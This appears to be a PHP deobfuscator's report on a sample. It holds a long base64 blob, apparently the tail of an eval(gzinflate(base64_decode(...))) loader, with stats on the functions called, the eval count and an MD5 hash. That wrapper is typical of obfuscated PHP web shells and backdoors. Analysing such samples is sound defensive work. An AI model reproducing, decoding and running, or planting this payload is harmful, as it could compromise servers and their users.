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')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 ed217c6df5aa6e94dc62f6fbc62a3b49
Eval Count 1
Decode Time 134 ms